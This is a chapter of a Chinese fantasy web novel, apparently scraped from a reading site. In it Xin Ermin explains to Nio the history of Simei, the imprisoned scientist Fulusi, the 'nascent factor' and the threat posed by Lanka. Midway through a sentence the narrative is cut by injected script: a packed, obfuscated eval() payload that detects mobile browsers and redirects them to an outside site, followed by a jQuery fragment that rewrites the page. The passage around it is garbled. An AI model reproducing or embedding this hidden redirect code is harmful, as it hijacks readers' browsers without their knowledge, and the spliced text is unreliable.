后来，辛尔敏就知道西美是谁了。


    要不说，想把他调哪里去就调哪里去。辛尔敏心想，这一定是个当官的。心想和他交个朋友也不错，说不定能打听到些什么。


    要不说，有时偶遇，和他打招呼，其他人都用怪异的眼神看他。


    这人平时板着脸，看见他倒是和颜悦色，不像坏人。


    甚至下班了两人还约过几顿酒。面对他的提问，这个西美也总是知无不言。当然辛尔敏也没有直接问那女的什么来路。


    后来，终于有好心人发现辛尔敏是真不知道那人是谁。


    当时雪生中心及院办产业涵盖职员及相关工作人员将近两万人。


    西美，理事局主席，须臾最大的头头。


    所以那女的什么来路，能惊动这个最大的头头？


    “我那不成器的妹妹，仗着自己的出身，总是闯祸，我都不知道该拿她怎么办才好。”西美喝得醉醺醺，向他大倒苦水。


    辛尔敏喝了也不少，却精神矍铄坐得笔直。


    “不过，你不要不相信，我妹妹——芙路思她，真是天才啊。只要她想，就没有她做不到的事情，”憔悴的哥哥得意洋洋地夸赞，而后叹气，“就是太任性了。不管她吧，不知道还能给我惹出什么麻烦来。想管她吧，两百多岁的人了，轻了不是，重了不是。退一步说，变成今天这个样子，也不能怪她。生在这里，害她吃那么多苦，如今怎么补偿也补不回来啊。唉。人生，总是让人左右为难。”


    “你怎么不说话了？”西美醉眼迷蒙地问。


    “……我可不会因为她是你妹妹，就放弃调查……”辛尔敏捏紧拳头，勇敢地说道。


    西美大笑：“你要是放弃，才辜负我。”


    “后来呢？”


    “后来，我终于得偿所愿，坐实深红的伤害确实是实验事故，芙路思因此受到惩罚，被判了二十年监禁。”


    “你送她坐大牢？她不恨你吗？”尼奥惊奇这样的两人怎么会萌生情愫。


    “时间对我们来说，并不那么宝贵。”辛尔敏说，“须臾之门内的工作环境涉密太多，要尽可能减少人员流动。从进行政会开始，我就得接受‘濯礼’。那是一种延长生命寿数的术式。于是你也看到了，我们的实际年龄，要比看起来大得多。也是因为如此，我的太太和我离婚了，在我五十六岁的时候。她接受不了我们的时间尺度变得不同。”


    “为什么？你们不是彼此相爱吗？”尼奥问。


    “大概很难有人能接受身边有个明显的参照物，比对出自己一天天变得衰老。我们彼此相爱。但爱会被任何一切打败。”


    “我不懂。”


    “不要懂。”辛尔敏笑了笑说。


    尼奥问：“所以，你和芙路思的生命尺度类似，你们就在一起了？”


    “不不，那个时候我在督查室，芙路思在衍周处，我把她送进大牢，然后就不再有交集。她从牢里出来，没多久就拿了因理学会的最高奖章，因为她发现了新生素。”


    “什么是新生素？”


    “她的那名吃人的实验体，实际上受故乡天赋束缚，被赋予了同类相食的习性，天性只能以寄种人为食物。但有意思的是，那名实验体本身，又按着这个世界的道德规范，有着很高的道德素养，根本接受不了吃人的行为，于是强迫自己一直饿着。饿到极点，思维理智道德都得给本能退让，寄种人也好人类也好，在饿的发狂的时候，什么出现在面前就吃什么。吃了缓过劲来，又吐，再饿到过头，再吃，弄得人不人鬼不鬼。


    “芙路思一直在试图救他。最后找到了寄种人区别于普通人的东西，名为新生素，并且找到了人工合成这种东西的方式，于是那个寄种人就得救了，只要往人类的食物里添加这种新生素，他就能正常进食、消化。


    “就算在须臾，‘寄种人计划’在研究伦理上的争议从没停止过。新生素可以区分人类和寄种人，是重大发现。对于寄种人的利用原本可以发挥巨大的作用。但芙路思没有授权新生素除食品以外的任何使用。她认为故意的区分会造成隔离和不平等。她认为寄种人应当拥有和人类一样的权利。非常愚蠢。不仅她这么认为，有一大帮人都和她抱有相同的想法。他们丝毫不考虑这些寄种人的天赋对普通的人类本身就意味着不平等，总是强调，只要通过社会化评估，就是对这里抱着友爱态度的好寄种人，就应当成为这里的一份子。”


    尼奥问：“那，她是因为这些事情，才被关起来的吗？”


    辛尔敏想了想，不置可否，转开话题问：“你说你会梦见‘槐似’的事，具体，你梦见了多少呢？”


    就像连接了接触不良的存储器，那些画面时而能记起一些，有时又什么都不记得。只知道有这么个人一直存在。他一直在问，芙路思在哪里。尼奥茫然地摇头。


    辛尔敏又问：“那么，关于兰卡摩柯，这个名字，你又知道多少？”


    “兰卡摩柯……”尼奥使劲回忆。


    听着倒是熟悉，似乎有一两个画面，承载着极度愤怒与无望在怒吼。但这种冲击又有些遥远，像隔了几层软垫沉闷地锤在胸口，只剩下一些不适。他仍旧摇头说：“不记得了。”


    辛尔敏便说：“兰卡摩柯，他已经来到这个世界很久了。甚至比西美的年纪更大。他的故乡，被称做‘全知境’。他的天赋，说得夸张一点，叫做‘全知全能’。他知道寄种人的故乡是什么样，知道他们在这个世界体现的‘天赋’是什么。他能感知寄种人的位置，甚至一些强烈的意念和思绪。”


    他接着说：“在一百多年前，芙路思遭遇了来自兰卡的致命危机——这些她所关爱的寄种人，差点把她杀死，或者说，从普通人的角度来看，已经被杀死了。但在命核熄灭到一半之前的最后一刻，她的那位亡夫，远征者槐似，向兰卡认输。兰卡用槐似一半的命核，把她救了回来。也就是说，现在芙路思维系生命的命核，一多半是她自己，另一小半，来自寄种人。”


    “远征者。”尼奥重复这个陌生又熟悉的名号。


    “远征者剩下的一半命核，就像我刚才告诉你的，现在在你那里。你说你两岁时家族遗传病发作差点死去，是她带你去女神岛做手术救了你一命。但你自己也调查过，你知道，对吧，过眠症就算今天在女神岛，仍旧是不治之症。她并非


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771826|163694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    带你去的女神岛，而是带你回了中枢。不知怎么回事，将远征者剩下的命核寄存在你那里，同时也让你活了下来。我咨询了许多研究命核的大专家，他们都说不可能。也许该把你带回去给他们研究研究。”辛尔敏开玩笑道，“总之，因为这个原因，你和她都表现出了半血寄种人的状态。就像我刚才说的，兰卡对寄种人拥有绝对感知，对半血寄种人的感知有所衰退，但仍旧有所感知。”


    “一直以来，这位‘全知境的主’，有一个持之以恒的梦想，那就是，把卡特柯夫改造成寄种人的世界。为此，他必须掌控须臾。当然，形势所迫，面对外卫的围追堵截，目前只能算妄想。但芙路思是中枢高层，如果兰卡通过思维感知对她进行掌控，那形势就完全不一样了。”


    游魂。昂贵的立棺。罐子里的女人。


    模拟机剥夺人体的思维和感官认知，将之寄托于机器运转，将人体生理特征表现为极端的平静，确保芙路思无法被兰卡感知。


    最高指令要求，如果芙路思脱离“游魂”，防务团将她格杀勿论。


    兰卡被消灭之前，这里是她唯一的容身之所。


    尼奥问：“那么，只要杀掉兰卡，她就能重获自由？”


    辛尔敏严谨地回答：“至少能在原生界重获自由。”


    “什么意思？”


    “因为一些原因，她绝对不可以重回中枢。”


    无人的城市，玫瑰色夜幕。


    “最终避险想要顺利启动，就绝对不能让她回中枢。”辛尔敏记得很清楚，西美这么说。


    辛尔敏记得自己问了为什么，西美也回答了，他还记得他在说话的画面，记得他的回答足以让自己认可，但具体的答案，却已经完全记不起来了。涉及绝对机密，连他的记忆也被清除了关键信息。确保最糟糕的情况下，就算他落入可以读取记忆的术师手中，也不会泄密。


    芙路思被关在这里，还有别的原因。是会对中枢造成重大威胁的重要原因。


    “那也足够广阔了。为什么不这么做呢？她能在原生界自由行动，也好过被锁在罐头里。”尼奥质问。


    辛尔敏哑然失笑：“难道是我不想吗？消灭兰卡有个最简单的方法，那就是依靠新生素。为这个问题，我们争吵过无数次。变成这样，完全是她自己的选择。原本不必进入游魂。”


    他说：“这么多年，防务团最优先任务从来都是灭杀兰卡团伙。”


    伏萨朝灭，兰卡的势力几乎被打完，剩下在他身边的，都是历经战火存活下来的精英中的精英。


    已知的就有苏吾的关门弟子大术师索非娜、制作傀儡分身的皮匠、驯兽的、造梦的……


    战士、谋士、奇能异士。


    多年来防务团的地毯式搜查，找到无数分身，却找不到兰卡真身的一点踪迹。


    辛尔敏忽然盯着尼奥，露出笑容：“不过，你知道吗？其实远征者才是兰卡他们真正的核心人物。”


    “如果今天，我把你从这里推下去。你说，会有人为了救你，不惜自投罗网吗？”他握着小朋友的肩膀，和善地笑着说。


    玻璃罐里的女人缓缓睁开双眼。